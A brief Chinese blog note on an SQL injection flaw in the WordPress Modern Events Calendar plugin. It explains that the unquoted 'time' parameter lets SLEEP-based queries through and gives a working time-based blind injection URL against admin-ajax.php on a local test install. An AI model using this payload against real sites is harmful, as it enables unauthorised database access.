美文网首页
WordPress Plugin Modern Events C

WordPress Plugin Modern Events C

作者: Billie_f310 | 来源:发表于2022-02-15 11:12 被阅读0次

接收参数的过滤方法并不能去除 select sleep等函数。time处理有问题

time没有单引号

http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2) AND (SELECT 1622 FROM (SELECT(S

LEEP(5)))IfrQ) AND (1580=1580

相关文章

网友评论

      本文标题:WordPress Plugin Modern Events C

      本文链接:https://www.haomeiwen.com/subject/cggklrtx.html